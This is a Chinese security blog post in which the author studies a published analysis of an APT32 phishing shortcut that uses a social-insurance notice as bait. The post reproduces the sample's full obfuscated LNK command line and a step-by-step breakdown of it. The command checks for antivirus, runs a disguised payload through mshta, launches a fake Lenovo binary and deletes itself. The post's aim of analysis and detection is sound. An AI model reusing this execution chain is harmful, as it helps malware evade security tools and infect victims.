昨天关注的安全类公众号收到了最新一条推送,内容是知道创宇404高级威胁情报团队发现海莲花(APT32)组织的最新攻击样本,在此期间对该样本进行了分析与举证输出了一篇文章威胁情报 | 海莲花组织以社保话题为诱饵进行 APT 攻击。因为笔者有快两年的时候没有关注这类样本了,目前在关注恶意文件自动化检测(automatic detection)。于是怀着感兴趣的心情仔细阅读了分析报告,希望能吸收一些新内容,阅读期间把自己觉得初步看不太明白的内容进行了比较细致地分析,简单记录一下过程,方便自己的学习与思考和未来回顾。
首先会看到文章给出了比较完整的执行流程图,攻击样本最初的形态是Lnk文件,这属于Windows下的快捷方式文件,这类文件类型确实经常出现在恶意文件中,被用来规避一些检测手段。结合之前的一些分析经验,目前来看Lnk文件内的执行命令是比较核心的内容,诱饵文件内容或伪装的过程我们先略过,我们需要知道更多的有关Lnk文件执行的细节。
首先我遇到了第一个问题:
通过文章的文字描述对于我理解Lnk文件实际做了啥或者执行逻辑是比较模糊的,因此我需要自己解决这个问题。由于文章提供的文件哈希没有在VirusTotal等平台搜索到对应的结果,因此我无法拿到具体的恶意文件,只能根据文章提供的Lnk文件参数截图来自行分析。
初看截图是比较杂乱的,没有格式化的排版。本着“尽量不要手工分析样本”的原则,将其上传到了ChatGPT中,利用GPT-4o技术来实现对图片内的内容进行分析。由于初读这部分内容的时候没有理解地很清楚,但阅读GPT-4o输出的内容后理解起来清晰了很多。这里省去了人眼去观察命令然后人脑梳理执行逻辑的过程,总的来说可以节省不少时间。
文章提供的图片如下:
提供一份可复制的内容:
/c (if not exist “%SystemRoot%System32drivers360FsFlt.sys” ( (if not exist “%USERPROFILE%关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” ( ^f^o^r^fi^l^es /P %USERPROFILE% /S /M “关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” /C “cmd /c copy “@path” “%USERPROFILE%NTUSER.DAT{23e7c2f3-52ef-4b7b-b203-3bfaa90a833d}.TM.alf”” ) else ( copy “%CD%关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” “%USERPROFILE%NTUSER.DAT{23e7c2f3-52ef-4b7b-b203-3bfaa90a833d}.TM.alf” )) && m^s^h^t^a”.exe “%USERPROFILE%NTUSER.DAT{23e7c2f3-52ef-4b7b-b203-3bfaa90a833d}.TM.alf” && (if not exist “%APPDATA%LenovodevicecenterextendsmodulesshowdeskQuickDeskBand.dll” ( timeout 5 && (if not exist “%APPDATA%LenovodevicecenterextendsmodulesshowdeskQuickDeskBand.dll” ( exit ) else ( start /min “” “%APPDATA%LenovodevicecenterextendsmodulesshowdeskLenovoDesk.exe” )) ) else ( (timeout 1 && start /min “” “%APPDATA%LenovodevicecenterextendsmodulesshowdeskLenovoDesk.exe”) )) else ( msg.exe %username% 不支持打开该类型文件或文件已损坏.文件名:关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx” && (if not exist “%USERPROFILE%关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” ( ^f^o^r^fi^l^es /P %USERPROFILE% /S /M “关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” /C “cmd /c del /q “@path”” ) else ( del /q “%CD%关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” ) ))) |
ChatGPT给出的分析结果如下:
执行逻辑如下:
1.检测是否存在360安全卫士文件:
1.1 使用 if not exist “%SystemRoot%System32drivers360FsFlt.sys” 来检测360安全卫士文件是否存在。
1.2 如果360安全卫士文件不存在,执行后续命令。
2.处理快捷方式文件:
2.1 检测 “%USERPROFILE%关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” 文件是否存在
2.1.1 如果快捷方式文件不存在:
使用 forfiles 命令遍历用户配置文件目录,并复制找到的文件:
^f^o^r^fi^l^es /P %USERPROFILE% /S /M “关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” /C “cmd /c copy “@path” “%USERPROFILE%NTUSER.DAT{23e7c2f3-52ef-4b7b-b203-3bfaa90a833d}.TM.alf””
2.1.2 否则,直接复制:
copy “%CD%关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” “%USERPROFILE%NTUSER.DAT{23e7c2f3-52ef-4b7b-b203-3bfaa90a833d}.TM.alf”
3.启动恶意文件:
3.1 通过 mshta.exe 启动嵌入在 LNK 文件中的恶意内容:
m^s^h^t^a”.exe “%USERPROFILE%NTUSER.DAT{23e7c2f3-52ef-4b7b-b203-3bfaa90a833d}.TM.alf”
4.检测和处理 Lenovo 相关文件:
4.1 检测 “%APPDATA%LenovodevicecenterextendsmodulesshowdeskQuickDeskBand.dll” 文件是否存在
4.1.1 如果文件不存在,等待5秒并再次检测:
timeout 5 && (if not exist “%APPDATA%LenovodevicecenterextendsmodulesshowdeskQuickDeskBand.dll” (exit) else (start /min “” “%APPDATA%LenovodevicecenterextendsmodulesshowdeskLenovoDesk.exe”))
4.1.2 否则,启动文件:
timeout 1 && start /min “” “%APPDATA%LenovodevicecenterextendsmodulesshowdeskLenovoDesk.exe”
5.显示错误消息并删除 LNK 文件:
5.1 如果前面的步骤未成功,显示错误消息:
msg.exe %username% 不支持打开该类型文件或文件已损坏.文件名:关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx
5.2 删除快捷方式文件:
5.2.1 遍历用户配置文件目录并删除:
^f^o^r^fi^l^es /P %USERPROFILE% /S /M “关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk” /C “cmd /c del /q “@path””
5.2.2 或直接删除:
del /q “%CD%关于社保、职业年金、公积金缴存基数调整和补扣的通知.docx.lnk”
该恶意软件首先检测360安全卫士文件是否存在(这里是不是可以作为一种检测手段呢?挺有意思),如果不存在则通过快捷方式文件执行一系列操作:复制LNK文件到用户配置文件目录,并利用mshta.exe启动嵌入的恶意内容。接着检测和处理Lenovo相关文件,最后显示错误消息并删除原LNK文件。这些操作的目的是隐藏恶意行为,逃避检测,并确保恶意软件在目标系统上持久存在。
结合阅读安全分析报告的经验继续阅读会发现整个恶意文件的后续执行流程或文章给出分析过程没有太多不寻常的地方,我们可以快速略过,我们需要关注相比以前有一些异常的内容,这部分内容才是分析报告内存在价值的内容。直到遇到了第二个问题:利用回调机制执行恶意代码?这与免杀或对抗策略有关,这确实值得好好回顾一下。
在之前的阅读其他类型的安全分析报告中就发现了相关的痕迹,比如银狐木马的一些分析报告(见下面的截图),当时仅仅只是在脑中留有了一些印象,并未深究特定的细节与原因。但如果比较流行的攻击组织也采用类似的编写恶意代码的技巧,那么很可能说明这里存在一定的共性问题(价值点)。一般来说出现不曾见过的内容表明可能是存在比较好的攻击效果的技巧,不然攻击者也不会使用这类编写恶意代码的技巧。
以上两个小部分的内容就是本次学习该分析报告的记录与回顾,阅读这篇文章的时间比较短,本次文章的内容整体上属于比较简单可理解的内容。由于没有找到相关的恶意文件,我也没有办法去测试是否能被检测系统检出,无奈只能作罢,只能通过阅读文字报告吸收一些比较有价值的信息以备后用,希望能对读者有一些小小地帮助,多关注核心问题,节省一些阅读的时间。
原文始发于微信公众号(OnionSec):在APT32的分析报告里学习与吸收